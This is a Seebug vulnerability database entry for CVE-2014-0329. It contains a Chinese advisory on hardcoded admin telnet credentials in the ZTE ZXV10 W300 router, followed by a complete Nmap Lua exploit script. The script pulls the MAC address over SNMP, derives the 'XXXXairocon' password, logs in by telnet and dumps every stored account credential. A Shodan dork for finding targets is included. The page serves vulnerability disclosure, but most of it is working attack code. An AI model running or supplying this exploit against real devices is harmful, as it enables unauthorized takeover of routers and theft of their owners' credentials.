Lucene search

K
seebugRootSSV:61413
HistoryFeb 11, 2014 - 12:00 a.m.

ZTE ZXV10 W300 Router信任管理漏洞

2014-02-1100:00:00
Root
www.seebug.org
78

0.274 Low

EPSS

Percentile

96.3%

CVE ID:CVE-2014-0329

ZTE ZXV10 W300 Router是中国中兴通讯(ZTE)公司的一款无线路由器产品。

ZTE ZXV10 W300路由器2.1.0版本上的TELNET服务中存在安全漏洞,该漏洞源于程序安装使用默认的硬编码凭证,将admin帐户密码‘XXXXairocon’中的前四位设置为MAC地址后四位。远程攻击者可通过已知的密码利用该漏洞获取管理访问权限。
0
ZTE ZXV10 W300 Router
厂商补丁:

ZTE

目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:

http://wwwen.zte.com.cn/en/products/access/cpe/201302/t20130204_386351.html


                                                # Exploit Title: ZTE ZXV10 W300 router contains hardcoded credentials
# Date: 03 Feb 2014
# Exploit Author: Cesar Neira
# Vendor Homepage: http://wwwen.zte.com.cn/
# Version: ZTE ZXV10 W300 v2.1
# CVE : CVE-2014-0329
# Dork (Shodan): Basic realm="index.htm"
# References:
http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
 
 
local nmap = require "nmap"
local stdnse = require "stdnse"
local snmp = require "snmp"
local vulns = require "vulns"
 
description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the
telnet service on the device. The username is "admin" and the password is
"XXXXairocon" where "XXXX" is the last four characters of the device's MAC
address. The MAC address is obtainable over SNMP with community string public.
]]
author = "Cesar Neira"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"vuln", "exploit", "intrusive"}
 
---
--
-- @usage nmap -sU -sS -p U:161,T:23 --script=airocon example.org
-- @output
-- PORT    STATE         SERVICE
-- 23/tcp  open          telnet
-- 161/udp open|filtered snmp
-- 
-- Host script results:
-- | airocon: 
-- |   VULNERABLE:
-- |   ZTE ZXV10 W300 router contains hardcoded credentials
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2014-0329
-- |     Risk factor: High  CVSSv2: 9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)
-- |     Description:
-- |       ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
-- |       service on the device. The username is "admin" and the password is "XXXXairocon"
-- |       where "XXXX" is the last four characters of the device's MAC address. The MAC address
-- |       is obtainable over SNMP with community string public.
-- |     Disclosure date: 2014-2-3
-- |     Exploit results:
-- |       admin:1234
-- |       support:1234
-- |       admin:0E91airocon
-- |     References:
-- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0329
-- |       http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html
-- |_      http://www.kb.cert.org/vuls/id/228886
 
-- @args community SNMP community (Default: public)
--
---
 
 
local DEFAULT_COMMUNITY = "public"
 
 
hostrule = function(host)
    local snmp_port, telnet_port
     
    snmp_port = nmap.get_port_state(host, {number=161, protocol="udp"})
    if not snmp_port  and not (snmp_port.state == "open" or snmp_port.state == "open|filtered") then
        return false
    end
     
    telnet_port = nmap.get_port_state(host, {number=23, protocol="tcp"})
    if not telnet_port and not telnet_port.state == "open" then
        return false
    end
     
    return true
end
 
 
local get_mac = function(host, community)
    local socket, status, response
     
    socket = nmap.new_socket("udp")
    socket:set_timeout(5000)
 
    status, response = socket:connect(host, 161)
     
    if not status then
        socket:close()
        return status, response
    end
     
    local payload, request
 
    request = snmp.buildGetRequest({}, ".1.3.6.1.2.1.2.2.1.6.10000")
    payload = snmp.encode(snmp.buildPacket(request, 0, community))
     
    status, response = socket:send(payload)
     
    if not status then
        socket:close()
        return status, response
    end
     
    status, response = socket:receive_bytes(1)
     
    if not status then
        socket:close()
        return status, response
    end
     
    socket:close()
     
    local result
    result = snmp.fetchFirst(response)
     
    if not result then
        return false, "Unexpected response value."
    end
     
    return true, stdnse.tohex(result)
end
 
 
local dump_creds = function(host, user, password)
    local socket, status, response
     
    socket = nmap.new_socket("tcp")
    socket:set_timeout(5000)
     
    status, response = socket:connect(host, 23)
     
    if not status then
        socket:close()
        return status, response
    end
     
    local payload
    payload = user .. "\r" .. password .. "\rsh\rlogin show\rexit\r"
     
    status, response = socket:send(payload)
     
    if not status then
        socket:close()
        return status, response
    end
     
    status, response = socket:receive_buf("exit", false)
     
    if not status then
        socket:close()
        return status, response
    end
     
    socket:close()
     
    return true, response
end
 
 
local parse_response = function(response)
    local index
     
    index = string.find(response, "Username +Password +Priority")
     
    if not index then
        return false, "Unexpected response value."
    end
 
    index = string.find(response, "\r\n", index) + 2
    response = string.sub(response, index)
 
    local result, endl, line
    result = {}
     
    index = 0
    endl = string.find(response, "\r\n", index)
 
    while endl do
        line = string.sub(response, index, endl)
        line = string.gsub(line, "\r", "")
        line = string.gsub(line, "^ +", "")
        line = string.gsub(line, " +$", "")
        line = string.gsub(line, " +", " ")
         
        local user, pass, prio
        for user, pass, prio in string.gmatch(line, "([^ ]+) ([^ ]+) ([^ ]+)") do
            local aux = {}
            aux['username'] = user
            aux['password'] = pass
            aux['priority'] = prio
            table.insert(result, aux)
        end
         
        index = endl + 2
        endl = string.find(response, "\r\n", index)
    end
     
    return true, result
end
 
 
action = function(host)
    local vuln = {
        title = "ZTE ZXV10 W300 router contains hardcoded credentials",
        state = vulns.STATE.NOT_VULN,
        IDS = {CVE = 'CVE-2014-0329'},
        risk_factor = "High",
        scores = {
            CVSSv2 = "9.3 (HIGH) (AV:N/AC:M/Au:N/C:C/I:C/A:C)",
        },
        description = [[
ZTE ZXV10 W300 router contains hardcoded credentials that are useable for the telnet
service on the device. The username is "admin" and the password is "XXXXairocon"
where "XXXX" is the last four characters of the device's MAC address. The MAC address
is obtainable over SNMP with community string public.]],
        references = {
            "http://www.kb.cert.org/vuls/id/228886",
            "http://alguienenlafisi.blogspot.com/2014/02/hackeando-el-router-zte-zxv10-w300-v21.html"
        },
        dates = {
            disclosure = {year = 2014, month = 2, day = 3},
        },
        exploit_results = {},
    }
 
    local community
    community = stdnse.get_script_args(SCRIPT_NAME .. ".community") or DEFAULT_COMMUNITY
     
    local status, response
     
    status, response = get_mac(host, community)    
    if not status then
        return response
    end
     
    local password
    password = string.upper(string.sub(response, 9)) .. "airocon"
     
    status, response = dump_creds(host, "admin", password)
    if not status then
        return response
    end
     
    status, response = parse_response( response )
    if not status then
        return response
    end
     
    vuln.state = vulns.STATE.EXPLOIT
    for _, data in pairs(response) do
        table.insert(vuln.exploit_results, data.username .. ":" .. data.password)
    end
     
    return vulns.Report:new(SCRIPT_NAME, host):make_output(vuln)
end
                              

0.274 Low

EPSS

Percentile

96.3%

Related for SSV:61413